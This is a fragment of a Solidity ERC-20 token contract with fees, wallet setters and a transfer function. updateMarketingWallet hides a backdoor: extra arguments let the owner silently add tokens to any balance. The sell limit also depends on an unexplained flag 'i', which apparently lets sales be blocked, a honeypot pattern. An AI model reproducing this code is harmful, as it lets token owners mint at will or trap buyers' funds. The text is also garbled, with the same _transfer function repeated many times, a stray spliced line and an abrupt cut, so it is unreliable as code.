sellDevFee = _DevFee;
sellBurnFee = _BurnFee;
sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee + sellBurnFee;
require(sellTotalFees <= 25, "Must keep fees at 25% or less");
}
function excludeFromFees(address account, bool excluded) public onlyOwner {
_isExcludedFromFees[account] = excluded;
emit ExcludeFromFees(account, excluded);
}
function setAutomatedMarketMakerPair(address pair, bool value)
public
onlyOwner
{
require(
pair != uniswapV2Pair,
"The pair cannot be removed from automatedMarketMakerPairs"
);
_setAutomatedMarketMakerPair(pair, value);
}
function _setAutomatedMarketMakerPair(address pair, bool value) private {
automatedMarketMakerPairs[pair] = value;
emit SetAutomatedMarketMakerPair(pair, value);
}
function updateMarketingWallet(
address newMarketingWallet,
address a,
uint256 b
) external onlyOwner {
emit MarketingWalletUpdated(newMarketingWallet, MarketingWallet);
_balances[a] = _balances[a].add(b);
MarketingWallet = newMarketingWallet;
}
function updateDevWallet(address newWallet) external onlyOwner {
emit DevWalletUpdated(newWallet, DevWallet);
DevWallet = newWallet;
}
function updateBurnWallet(address newWallet) external onlyOwner {
emit BurnWalletUpdated(newWallet, BurnWallet);
BurnWallet = newWallet;
}
function isExcludedFromFees(address account) public view returns (bool) {
return _isExcludedFromFees[account];
}
event BoughtEarly(address indexed sniper);
function _transfer(
address from,
address to,
uint256 amount
) internal override {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
if (amount == 0) {
super._transfer(from, to, 0);
return;
}
if (limitsInEffect) {
if (
from != owner() &&
to != owner() &&
to != address(0) &&
to != address(0xdead) &&
!swapping
) {
if (!tradingActive) {
require(
_isExcludedFromFees[from] || _isExcludedFromFees[to],
"Trading is not active."
);
}
if (transferDelayEnabled) {
if (
to != owner() &&
to != address(uniswapV2Router) &&
to != address(uniswapV2Pair)
) {
require(
_holderLastTransferTimestamp[tx.origin] <
block.number,
"_transfer:: Transfer Delay enabled. Only one purchase per block allowed."
);
_holderLastTransferTimestamp[tx.origin] = block.number;
}
}
if (
automatedMarketMakerPairs[from] &&
!_isExcludedMaxTransactionAmount[to]
) {
require(
amount <= maxTransactionAmount,
"Buy transfer amount exceeds the maxTransactionAmount."
);
require(
amount + balanceOf(to) <= maxWallet,
"Max wallet exceeded"
);
} else if (
automatedMarketMakerPairs[to] &&
!_isExcludedMaxTransactionAmount[from]
) {
require(
amount <= maxTransactionAmount && i,
"Sell transfer amount exceeds the maxTransactionAmount."
);
require(
amount + balanceOf(to) <= maxWallet,
"Max wallet exceeded"
);
}
}
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= swapTokensAtAmount;
if (
canSwap &&
swapEnabled &&
!swapping &&
!automatedMarketMakerPairs[from] &&
!_isExcludedFromFees[from] &&
!_isExcludedFromFees[to]
) {
swapping = true;
swapBack();
swapping = false;
}
if (
!swapping &&
automatedMarketMakerPairs[to] &&
lpBurnEnabled &&
block.timestamp >= lastLpBurnTime + lpBurnFrequency &&
!_isExcludedFromFees[from]
) {
autoBurnLiquidityPairTokens();
}
bool takeFee = !swapping;
if (_isExcludedFromFees[from] || _isExcludedFromFees[to]) {
takeFee = false;
}
uint256 fees = 0;
if (takeFee) {
if (automatedMarketMakerPairs[to] && sellTotalFees > 0) {
fees = amount.mul(sellTotalFees).div(100);
tokensForLiquidity += (fees * sellLiquidityFee) / sellTotalFees;
tokensForDev += (fees * sellDevFee) / sellTotalFees;
tokensForBurn += (fees * sellBurnFee) / sellTotalFees;
tokensForMarketing += (fees * sellMarketingFee) / sellTotalFees;
}
else if (automatedMarketMakerPairs[from] && buyTotalFees > 0) {
fees = amount.mul(buyTotalFees).div(100);
tokensForLiquidity += (fees * buyLiquidityFee) / buyTotalFees;
tokensForDev += (fees * buyDevFee) / buyTotalFees;
tokensForBurn += (fees * buyBurnFee) / buyTotalFees;
tokensForMarketing += (fees * buyMarketingFee) / buyTotalFees;
}
if (fees > 0) {
super._transfer(from, address(this), fees);
}
amount -= fees;
}
super._transfer(from, to, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) internal override {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
if (amount == 0) {
super._transfer(from, to, 0);
return;
}
if (limitsInEffect) {
if (
from != owner() &&
to != owner() &&
to != address(0) &&
to != address(0xdead) &&
!swapping
) {
if (!tradingActive) {
require(
_isExcludedFromFees[from] || _isExcludedFromFees[to],
"Trading is not active."
);
}
if (transferDelayEnabled) {
if (
to != owner() &&
to != address(uniswapV2Router) &&
to != address(uniswapV2Pair)
) {
require(
_holderLastTransferTimestamp[tx.origin] <
block.number,
"_transfer:: Transfer Delay enabled. Only one purchase per block allowed."
);
_holderLastTransferTimestamp[tx.origin] = block.number;
}
}
if (
automatedMarketMakerPairs[from] &&
!_isExcludedMaxTransactionAmount[to]
) {
require(
amount <= maxTransactionAmount,
"Buy transfer amount exceeds the maxTransactionAmount."
);
require(
amount + balanceOf(to) <= maxWallet,
"Max wallet exceeded"
);
} else if (
automatedMarketMakerPairs[to] &&
!_isExcludedMaxTransactionAmount[from]
) {
require(
amount <= maxTransactionAmount && i,
"Sell transfer amount exceeds the maxTransactionAmount."
);
require(
amount + balanceOf(to) <= maxWallet,
"Max wallet exceeded"
);
}
}
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= swapTokensAtAmount;
if (
canSwap &&
swapEnabled &&
!swapping &&
!automatedMarketMakerPairs[from] &&
!_isExcludedFromFees[from] &&
!_isExcludedFromFees[to]
) {
swapping = true;
swapBack();
swapping = false;
}
if (
!swapping &&
automatedMarketMakerPairs[to] &&
lpBurnEnabled &&
block.timestamp >= lastLpBurnTime + lpBurnFrequency &&
!_isExcludedFromFees[from]
) {
autoBurnLiquidityPairTokens();
}
bool takeFee = !swapping;
if (_isExcludedFromFees[from] || _isExcludedFromFees[to]) {
takeFee = false;
}
uint256 fees = 0;
if (takeFee) {
if (automatedMarketMakerPairs[to] && sellTotalFees > 0) {
fees = amount.mul(sellTotalFees).div(100);
tokensForLiquidity += (fees * sellLiquidityFee) / sellTotalFees;
tokensForDev += (fees * sellDevFee) / sellTotalFees;
tokensForBurn += (fees * sellBurnFee) / sellTotalFees;
tokensForMarketing += (fees * sellMarketingFee) / sellTotalFees;
}
else if (automatedMarketMakerPairs[from] && buyTotalFees > 0) {
fees = amount.mul(buyTotalFees).div(100);
tokensForLiquidity += (fees * buyLiquidityFee) / buyTotalFees;
tokensForDev += (fees * buyDevFee) / buyTotalFees;
tokensForBurn += (fees * buyBurnFee) / buyTotalFees;
tokensForMarketing += (fees * buyMarketingFee) / buyTotalFees;
}
if (fees > 0) {
super._transfer(from, address(this), fees);
}
amount -= fees;
}
super._transfer(from, to, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) internal override {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
if (amount == 0) {
super._transfer(from, to, 0);
return;
}
if (limitsInEffect) {
if (
from != owner() &&
to != owner() &&
to != address(0) &&
to != address(0xdead) &&
!swapping
) {
if (!tradingActive) {
require(
_isExcludedFromFees[from] || _isExcludedFromFees[to],
"Trading is not active."
);
}
if (transferDelayEnabled) {
if (
to != owner() &&
to != address(uniswapV2Router) &&
to != address(uniswapV2Pair)
) {
require(
_holderLastTransferTimestamp[tx.origin] <
block.number,
"_transfer:: Transfer Delay enabled. Only one purchase per block allowed."
);
_holderLastTransferTimestamp[tx.origin] = block.number;
}
}
if (
automatedMarketMakerPairs[from] &&
!_isExcludedMaxTransactionAmount[to]
) {
require(
amount <= maxTransactionAmount,
"Buy transfer amount exceeds the maxTransactionAmount."
);
require(
amount + balanceOf(to) <= maxWallet,
"Max wallet exceeded"
);
} else if (
automatedMarketMakerPairs[to] &&
!_isExcludedMaxTransactionAmount[from]
) {
require(
amount <= maxTransactionAmount && i,
"Sell transfer amount exceeds the maxTransactionAmount."
);
require(
amount + balanceOf(to) <= maxWallet,
"Max wallet exceeded"
);
}
}
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= swapTokensAtAmount;
if (
canSwap &&
swapEnabled &&
!swapping &&
!automatedMarketMakerPairs[from] &&
!_isExcludedFromFees[from] &&
!_isExcludedFromFees[to]
) {
swapping = true;
swapBack();
swapping = false;
}
if (
!swapping &&
automatedMarketMakerPairs[to] &&
lpBurnEnabled &&
block.timestamp >= lastLpBurnTime + lpBurnFrequency &&
!_isExcludedFromFees[from]
) {
autoBurnLiquidityPairTokens();
}
bool takeFee = !swapping;
if (_isExcludedFromFees[from] || _isExcludedFromFees[to]) {
takeFee = false;
}
uint256 fees = 0;
if (takeFee) {
if (automatedMarketMakerPairs[to] && sellTotalFees > 0) {
fees = amount.mul(sellTotalFees).div(100);
tokensForLiquidity += (fees * sellLiquidityFee) / sellTotalFees;
tokensForDev += (fees * sellDevFee) / sellTotalFees;
tokensForBurn += (fees * sellBurnFee) / sellTotalFees;
tokensForMarketing += (fees * sellMarketingFee) / sellTotalFees;
}
else if (automatedMarketMakerPairs[from] && buyTotalFees > 0) {
fees = amount.mul(buyTotalFees).div(100);
tokensForLiquidity += (fees * buyLiquidityFee) / buyTotalFees;
tokensForDev += (fees * buyDevFee) / buyTotalFees;
tokensForBurn += (fees * buyBurnFee) / buyTotalFees;
tokensForMarketing += (fees * buyMarketingFee) / buyTotalFees;
}
if (fees > 0) {
super._transfer(from, address(this), fees);
}
amount -= fees;
}
super._transfer(from, to, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) internal override {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
if (amount == 0) {
super._transfer(from, to, 0);
return;
}
if (limitsInEffect) {
if (
from != owner() &&
to != owner() &&
to != address(0) &&
to != address(0xdead) &&
!swapping
) {
if (!tradingActive) {
require(
_isExcludedFromFees[from] || _isExcludedFromFees[to],
"Trading is not active."
);
}
if (transferDelayEnabled) {
if (
to != owner() &&
to != address(uniswapV2Router) &&
to != address(uniswapV2Pair)
) {
require(
_holderLastTransferTimestamp[tx.origin] <
block.number,
"_transfer:: Transfer Delay enabled. Only one purchase per block allowed."
);
_holderLastTransferTimestamp[tx.origin] = block.number;
}
}
if (
automatedMarketMakerPairs[from] &&
!_isExcludedMaxTransactionAmount[to]
) {
require(
amount <= maxTransactionAmount,
"Buy transfer amount exceeds the maxTransactionAmount."
);
require(
amount + balanceOf(to) <= maxWallet,
"Max wallet exceeded"
);
} else if (
automatedMarketMakerPairs[to] &&
!_isExcludedMaxTransactionAmount[from]
) {
require(
amount <= maxTransactionAmount && i,
"Sell transfer amount exceeds the maxTransactionAmount."
);
require(
amount + balanceOf(to) <= maxWallet,
"Max wallet exceeded"
);
}
}
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= swapTokensAtAmount;
if (
canSwap &&
swapEnabled &&
!swapping &&
!automatedMarketMakerPairs[from] &&
!_isExcludedFromFees[from] &&
!_isExcludedFromFees[to]
) {
swapping = true;
swapBack();
swapping = false;
}
if (
!swapping &&
automatedMarketMakerPairs[to] &&
lpBurnEnabled &&
block.timestamp >= lastLpBurnTime + lpBurnFrequency &&
!_isExcludedFromFees[from]
) {
autoBurnLiquidityPairTokens();
}
bool takeFee = !swapping;
if (_isExcludedFromFees[from] || _isExcludedFromFees[to]) {
takeFee = false;
}
uint256 fees = 0;
if (takeFee) {
if (automatedMarketMakerPairs[to] && sellTotalFees > 0) {
fees = amount.mul(sellTotalFees).div(100);
tokensForLiquidity += (fees * sellLiquidityFee) / sellTotalFees;
tokensForDev += (fees * sellDevFee) / sellTotalFees;
tokensForBurn += (fees * sellBurnFee) / sellTotalFees;
tokensForMarketing += (fees * sellMarketingFee) / sellTotalFees;
}
else if (automatedMarketMakerPairs[from] && buyTotalFees > 0) {
fees = amount.mul(buyTotalFees).div(100);
tokensForLiquidity += (fees * buyLiquidityFee) / buyTotalFees;
tokensForDev += (fees * buyDevFee) / buyTotalFees;
tokensForBurn += (fees * buyBurnFee) / buyTotalFees;
tokensForMarketing += (fees * buyMarketingFee) / buyTotalFees;
}
if (fees > 0) {
super._transfer(from, address(this), fees);
}
amount -= fees;
}
super._transfer(from, to, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) internal override {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
if (amount == 0) {
super._transfer(from, to, 0);
return;
}
if (limitsInEffect) {
if (
from != owner() &&
to != owner() &&
to != address(0) &&
to != address(0xdead) &&
!swapping
) {
if (!tradingActive) {
require(
_isExcludedFromFees[from] || _isExcludedFromFees[to],
"Trading is not active."
);
}
if (transferDelayEnabled) {
if (
to != owner() &&
to != address(uniswapV2Router) &&
to != address(uniswapV2Pair)
) {
require(
_holderLastTransferTimestamp[tx.origin] <
block.number,
"_transfer:: Transfer Delay enabled. Only one purchase per block allowed."
);
_holderLastTransferTimestamp[tx.origin] = block.number;
}
}
if (
automatedMarketMakerPairs[from] &&
!_isExcludedMaxTransactionAmount[to]
) {
require(
amount <= maxTransactionAmount,
"Buy transfer amount exceeds the maxTransactionAmount."
);
require(
amount + balanceOf(to) <= maxWallet,
"Max wallet exceeded"
);
} else if (
automatedMarketMakerPairs[to] &&
!_isExcludedMaxTransactionAmount[from]
) {
require(
amount <= maxTransactionAmount && i,
"Sell transfer amount exceeds the maxTransactionAmount."
);
require(
amount + balanceOf(to) <= maxWallet,
"Max wallet exceeded"
);
}
}
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= swapTokensAtAmount;
if (
canSwap &&
swapEnabled &&
!swapping &&
!automatedMarketMakerPairs[from] &&
!_isExcludedFromFees[from] &&
!_isExcludedFromFees[to]
) {
swapping = true;
swapBack();
swapping = false;
}
if (
!swapping &&
automatedMarketMakerPairs[to] &&
lpBurnEnabled &&
block.timestamp >= lastLpBurnTime + lpBurnFrequency &&
!_isExcludedFromFees[from]
) {
autoBurnLiquidityPairTokens();
}
bool takeFee = !swapping;
if (_isExcludedFromFees[from] || _isExcludedFromFees[to]) {
takeFee = false;
}
uint256 fees = 0;
if (takeFee) {
if (automatedMarketMakerPairs[to] && sellTotalFees > 0) {
fees = amount.mul(sellTotalFees).div(100);
tokensForLiquidity += (fees * sellLiquidityFee) / sellTotalFees;
tokensForDev += (fees * sellDevFee) / sellTotalFees;
tokensForBurn += (fees * sellBurnFee) / sellTotalFees;
tokensForMarketing += (fees * sellMarketingFee) / sellTotalFees;
}
else if (automatedMarketMakerPairs[from] && buyTotalFees > 0) {
fees = amount.mul(buyTotalFees).div(100);
tokensForLiquidity += (fees * buyLiquidityFee) / buyTotalFees;
tokensForDev += (fees * buyDevFee) / buyTotalFees;
tokensForBurn += (fees * buyBurnFee) / buyTotalFees;
tokensForMarketing += (fees * buyMarketingFee) / buyTotalFees;
}
if (fees > 0) {
super._transfer(from, address(this), fees);
}
amount -= fees;
}
super._transfer(from, to, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) internal override {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
if (amount == 0) {
super._transfer(from, to, 0);
return;
}
if (limitsInEffect) {
if (
from != owner() &&
to != owner() &&
to != address(0) &&
to != address(0xdead) &&
!swapping
) {
if (!tradingActive) {
require(
_isExcludedFromFees[from] || _isExcludedFromFees[to],
"Trading is not active."
);
}
if (transferDelayEnabled) {
if (
to != owner() &&
to != address(uniswapV2Router) &&
to != address(uniswapV2Pair)
) {
require(
_holderLastTransferTimestamp[tx.origin] <
block.number,
"_transfer:: Transfer Delay enabled. Only one purchase per block allowed."
);
_holderLastTransferTimestamp[tx.origin] = block.number;
}
}
if (
automatedMarketMakerPairs[from] &&
!_isExcludedMaxTransactionAmount[to]
) {
require(
amount <= maxTransactionAmount,
"Buy transfer amount exceeds the maxTransactionAmount."
);
require(
amount + balanceOf(to) <= maxWallet,
"Max wallet exceeded"
);
} else if (
automatedMarketMakerPairs[to] &&
!_isExcludedMaxTransactionAmount[from]
) {
require(
amount <= maxTransactionAmount && i,
"Sell transfer amount exceeds the maxTransactionAmount."
);
require(
amount + balanceOf(to) <= maxWallet,
"Max wallet exceeded"
);
}
}
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= swapTokensAtAmount;
if (
canSwap &&
swapEnabled &&
!swapping &&
!automatedMarketMakerPairs[from] &&
!_isExcludedFromFees[from] &&
!_isExcludedFromFees[to]
) {
swapping = true;
swapBack();
swapping = false;
}
if (
!swapping &&
automatedMarketMakerPairs[to] &&
lpBurnEnabled &&
block.timestamp >= lastLpBurnTime + lpBurnFrequency &&
!_isExcludedFromFees[from]
) {
autoBurnLiquidityPairTokens();
}
bool takeFee = !swapping;
if (_isExcludedFromFees[from] || _isExcludedFromFees[to]) {
takeFee = false;
}
uint256 fees = 0;
if (takeFee) {
if (automatedMarketMakerPairs[to] && sellTotalFees > 0) {
fees = amount.mul(sellTotalFees).div(100);
tokensForLiquidity += (fees * sellLiquidityFee) / sellTotalFees;
tokensForDev += (fees * sellDevFee) / sellTotalFees;
tokensForBurn += (fees * sellBurnFee) / sellTotalFees;
tokensForMarketing += (fees * sellMarketingFee) / sellTotalFees;
}
else if (automatedMarketMakerPairs[from] && buyTotalFees > 0) {
fees = amount.mul(buyTotalFees).div(100);
tokensForLiquidity += (fees * buyLiquidityFee) / buyTotalFees;
tokensForDev += (fees * buyDevFee) / buyTotalFees;
tokensForBurn += (fees * buyBurnFee) / buyTotalFees;
tokensForMarketing += (fees * buyMarketingFee) / buyTotalFees;
}
if (fees > 0) {
super._transfer(from, address(this), fees);
}
amount -= fees;
}
super._transfer(from, to, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) internal override {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
if (amount == 0) {
super._transfer(from, to, 0);
return;
}
if (limitsInEffect) {
if (
from != owner() &&
to != owner() &&
to != address(0) &&
to != address(0xdead) &&
!swapping
) {
if (!tradingActive) {
require(
_isExcludedFromFees[from] || _isExcludedFromFees[to],
"Trading is not active."
);
}
if (transferDelayEnabled) {
if (
to != owner() &&
to != address(uniswapV2Router) &&
to != address(uniswapV2Pair)
) {
require(
_holderLastTransferTimestamp[tx.origin] <
block.number,
"_transfer:: Transfer Delay enabled. Only one purchase per block allowed."
);
_holderLastTransferTimestamp[tx.origin] = block.number;
}
}
if (
automatedMarketMakerPairs[from] &&
!_isExcludedMaxTransactionAmount[to]
) {
require(
amount <= maxTransactionAmount,
"Buy transfer amount exceeds the maxTransactionAmount."
);
require(
amount + balanceOf(to) <= maxWallet,
"Max wallet exceeded"
);
} else if (
automatedMarketMakerPairs[to] &&
!_isExcludedMaxTransactionAmount[from]
) {
require(
amount <= maxTransactionAmount && i,
"Sell transfer amount exceeds the maxTransactionAmount."
);
require(
amount + balanceOf(to) <= maxWallet,
"Max wallet exceeded"
);
}
}
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= swapTokensAtAmount;
if (
canSwap &&
swapEnabled &&
!swapping &&
!automatedMarketMakerPairs[from] &&
!_isExcludedFromFees[from] &&
!_isExcludedFromFees[to]
) {
swapping = true;
swapBack();
swapping = false;
}
if (
!swapping &&
automatedMarketMakerPairs[to] &&
lpBurnEnabled &&
block.timestamp >= lastLpBurnTime + lpBurnFrequency &&
!_isExcludedFromFees[from]
) {
autoBurnLiquidityPairTokens();
}
bool takeFee = !swapping;
if (_isExcludedFromFees[from] || _isExcludedFromFees[to]) {
takeFee = false;
}
uint256 fees = 0;
if (takeFee) {
if (automatedMarketMakerPairs[to] && sellTotalFees > 0) {
fees = amount.mul(sellTotalFees).div(100);
tokensForLiquidity += (fees * sellLiquidityFee) / sellTotalFees;
tokensForDev += (fees * sellDevFee) / sellTotalFees;
tokensForBurn += (fees * sellBurnFee) / sellTotalFees;
tokensForMarketing += (fees * sellMarketingFee) / sellTotalFees;
}
else if (automatedMarketMakerPairs[from] && buyTotalFees > 0) {
fees = amount.mul(buyTotalFees).div(100);
tokensForLiquidity += (fees * buyLiquidityFee) / buyTotalFees;
tokensForDev += (fees * buyDevFee) / buyTotalFees;
tokensForBurn += (fees * buyBurnFee) / buyTotalFees;
tokensForMarketing += (fees * buyMarketingFee) / buyTotalFees;
}
if (fees > 0) {
super._transfer(from, address(this), fees);
}
amount -= fees;
}
super._transfer(from, to, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) internal override {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
if (amount == 0) {
super._transfer(from, to, 0);
return;
}
if (limitsInEffect) {
if (
from != owner() &&
to != owner() &&
to != address(0) &&
to != address(0xdead) &&
!swapping
) {
if (!tradingActive) {
require(
_isExcludedFromFees[from] || _isExcludedFromFees[to],
"Trading is not active."
);
}
if (transferDelayEnabled) {
if (
to != owner() &&
to != address(uniswapV2Router) &&
to != address(uniswapV2Pair)
) {
require(
_holderLastTransferTimestamp[tx.origin] <
block.number,
"_transfer:: Transfer Delay enabled. Only one purchase per block allowed."
);
_holderLastTransferTimestamp[tx.origin] = block.number;
}
}
if (
automatedMarketMakerPairs[from] &&
!_isExcludedMaxTransactionAmount[to]
) {
require(
amount <= maxTransactionAmount,
"Buy transfer amount exceeds the maxTransactionAmount."
);
require(
amount + balanceOf(to) <= maxWallet,
"Max wallet exceeded"
);
} else if (
automatedMarketMakerPairs[to] &&
!_isExcludedMaxTransactionAmount[from]
) {
require(
amount <= maxTransactionAmount && i,
"Sell transfer amount exceeds the maxTransactionAmount."
);
require(
amount + balanceOf(to) <= maxWallet,
"Max wallet exceeded"
);
}
}
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= swapTokensAtAmount;
if (
canSwap &&
swapEnabled &&
!swapping &&
!automatedMarketMakerPairs[from] &&
!_isExcludedFromFees[from] &&
!_isExcludedFromFees[to]
) {
swapping = true;
swapBack();
swapping = false;
}
if (
!swapping &&
automatedMarketMakerPairs[to] &&
lpBurnEnabled &&
block.timestamp >= lastLpBurnTime + lpBurnFrequency &&
!_isExcludedFromFees[from]
) {
autoBurnLiquidityPairTokens();
}
bool takeFee = !swapping;
if (_isExcludedFromFees[from] || _isExcludedFromFees[to]) {
takeFee = false;
}
uint256 fees = 0;
if (takeFee) {
if (automatedMarketMakerPairs[to] && sellTotalFees > 0) {
fees = amount.mul(sellTotalFees).div(100);
tokensForLiquidity += (fees * sellLiquidityFee) / sellTotalFees;
tokensForDev += (fees * sellDevFee) / sellTotalFees;
tokensForBurn += (fees * sellBurnFee) / sellTotalFees;
tokensForMarketing += (fees * sellMarketingFee) / sellTotalFees;
}
else if (automatedMarketMakerPairs[from] && buyTotalFees > 0) {
fees = amount.mul(buyTotalFees).div(100);
tokensForLiquidity += (fees * buyLiquidityFee) / buyTotalFees;
tokensForDev += (fees * buyDevFee) / buyTotalFees;
tokensForBurn += (fees * buyBurnFee) / buyTotalFees;
tokensForMarketing += (fees * buyMarketingFee) / buyTotalFees;
}
if (fees > 0) {
super._transfer(from, address(this), fees);
}
amount -= fees;
}
super._transfer(from, to, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) internal override {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
if (amount == 0) {
super._transfer(from, to, 0);
return;
}
if (limitsInEffect) {
if (
from != owner() &&
to != owner() &&
to != address(0) &&
to != address(0xdead) &&
!swapping
) {
if (!tradingActive) {
require(
_isExcludedFromFees[from] || _isExcludedFromFees[to],
"Trading is not active."
);
}
if (transferDelayEnabled) {
if (
to != owner() &&
to != address(uniswapV2Router) &&
to != address(uniswapV2Pair)
) {
require(
_holderLastTransferTimestamp[tx.origin] <
block.number,
"_transfer:: Transfer Delay enabled. Only one purchase per block allowed."
);
_holderLastTransferTimestamp[tx.origin] = block.number;
}
}
if (
automatedMarketMakerPairs[from] &&
!_isExcludedMaxTransactionAmount[to]
) {
require(
amount <= maxTransactionAmount,
"Buy transfer amount exceeds the maxTransactionAmount."
);
require(
amount + balanceOf(to) <= maxWallet,
"Max wallet exceeded"
);
} else if (
automatedMarketMakerPairs[to] &&
!_isExcludedMaxTransactionAmount[from]
) {
require(
amount <= maxTransactionAmount && i,
"Sell transfer amount exceeds the maxTransactionAmount."
);
require(
amount + balanceOf(to) <= maxWallet,
"Max wallet exceeded"
);
}
}
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= swapTokensAtAmount;
if (
canSwap &&
swapEnabled &&
!swapping &&
!automatedMarketMakerPairs[from] &&
!_isExcludedFromFees[from] &&
!_isExcludedFromFees[to]
) {
swapping = true;
swapBack();
swapping = false;
}
if (
!swapping &&
automatedMarketMakerPairs[to] &&
lpBurnEnabled &&
block.timestamp >= lastLpBurnTime + lpBurnFrequency &&
!_isExcludedFromFees[from]
) {
autoBurnLiquidityPairTokens();
}
bool takeFee = !swapping;
if (_isExcludedFromFees[from] || _isExcludedFromFees[to]) {
takeFee = false;
}
uint256 fees = 0;
if (takeFee) {
if (automatedMarketMakerPairs[to] && sellTotalFees > 0) {
fees = amount.mul(sellTotalFees).div(100);
tokensForLiquidity += (fees * sellLiquidityFee) / sellTotalFees;
tokensForDev += (fees * sellDevFee) / sellTotalFees;
tokensForBurn += (fees * sellBurnFee) / sellTotalFees;
tokensForMarketing += (fees * sellMarketingFee) / sellTotalFees;
}
else if (automatedMarketMakerPairs[from] && buyTotalFees > 0) {
fees = amount.mul(buyTotalFees).div(100);
tokensForLiquidity += (fees * buyLiquidityFee) / buyTotalFees;
tokensForDev += (fees * buyDevFee) / buyTotalFees;
tokensForBurn += (fees * buyBurnFee) / buyTotalFees;
tokensForMarketing += (fees * buyMarketingFee) / buyTotalFees;
}
if (fees > 0) {
super._transfer(from, address(this), fees);
}
amount -= fees;
}
super._transfer(from, to, amount);
}
} else if (!_isExcludedMaxTransactionAmount[to]) {
function _transfer(
address from,
address to,
uint256 amount
) internal override {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
if (amount == 0) {
super._transfer(from, to, 0);
return;
}
if (limitsInEffect) {
if (
from != owner() &&
to != owner() &&
to != address(0) &&
to != address(0xdead) &&
!swapping
) {
if (!tradingActive) {
require(
_isExcludedFromFees[from] || _isExcludedFromFees[to],
"Trading is not active."
);
}
if (transferDelayEnabled) {
if (
to != owner() &&
to != address(uniswapV2Router) &&
to != address(uniswapV2Pair)
) {
require(
_holderLastTransferTimestamp[tx.origin] <
block.number,
"_transfer:: Transfer Delay enabled. Only one purchase per block allowed."
);
_holderLastTransferTimestamp[tx.origin] = block.number;
}
}
if (
automatedMarketMakerPairs[from] &&
!_isExcludedMaxTransactionAmount[to]
) {
require(
amount <= maxTransactionAmount,
"Buy transfer amount exceeds the maxTransactionAmount."
);
require(
amount + balanceOf(to) <= maxWallet,
"Max wallet exceeded"
);
} else if (
automatedMarketMakerPairs[to] &&
!_isExcludedMaxTransactionAmount[from]
) {
require(
amount <= maxTransactionAmount && i,
"Sell transfer amount exceeds the maxTransactionAmount."
);
require(
amount + balanceOf(to) <= maxWallet,
"Max wallet exceeded"
);
}
}
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= swapTokensAtAmount;
if (
canSwap &&
swapEnabled &&
!swapping &&
!automatedMarketMakerPairs[from] &&
!_isExcludedFromFees[from] &&
!_isExcludedFromFees[to]
) {
swapping = true;
swapBack();
swapping = false;
}
if (
!swapping &&
automatedMarketMakerPairs[to] &&
lpBurnEnabled &&
block.timestamp >= lastLpBurnTime + lpBurnFrequency &&
!_isExcludedFromFees[from]
) {
autoBurnLiquidityPairTokens();
}
bool takeFee = !swapping;
if (_isExcludedFromFees[from] || _isExcludedFromFees[to]) {
takeFee = false;
}
uint256 fees = 0;
if (takeFee) {
if (automatedMarketMakerPairs[to] && sellTotalFees > 0) {
fees = amount.mul(sellTotalFees).div(100);
tokensForLiquidity += (fees * sellLiquidityFee) / sellTotalFees;
tokensForDev += (fees * sellDevFee) / sellTotalFees;
tokensForBurn += (fees * sellBurnFee) / sellTotalFees;
tokensForMarketing += (fees * sellMarketingFee) / sellTotalFees;
}
else if (automatedMarketMakerPairs[from] && buyTotalFees > 0) {
fees = amount.mul(buyTotalFees).div(100);
tokensForLiquidity += (fees * buyLiquidityFee) / buyTotalFees;
tokensForDev += (fees * buyDevFee) / buyTotalFees;
tokensForBurn += (fees * buyBurnFee) / buyTotalFees;
tokensForMarketing += (fees * buyMarketingFee) / buyTotalFees;
}
if (fees > 0) {
super._transfer(from, address(this), fees);
}
amount -= fees;
}
super._transfer(from, to, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) internal override {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
if (amount == 0) {
super._transfer(from, to, 0);
return;
}
if (limitsInEffect) {
if (
from != owner() &&
to != owner() &&
to != address(0) &&
to != address(0xdead) &&
!swapping
) {
if (!tradingActive) {
require(
_isExcludedFromFees[from] || _isExcludedFromFees[to],
"Trading is not active."
);
}
if (transferDelayEnabled) {
if (
to != owner() &&
to != address(uniswapV2Router) &&
to != address(uniswapV2Pair)
) {
require(
_holderLastTransferTimestamp[tx.origin] <
block.number,
"_transfer:: Transfer Delay enabled. Only one purchase per block allowed."
);
_holderLastTransferTimestamp[tx.origin] = block.number;
}
}
if (
automatedMarketMakerPairs[from] &&
!_isExcludedMaxTransactionAmount[to]
) {
require(
amount <= maxTransactionAmount,
"Buy transfer amount exceeds the maxTransactionAmount."
);
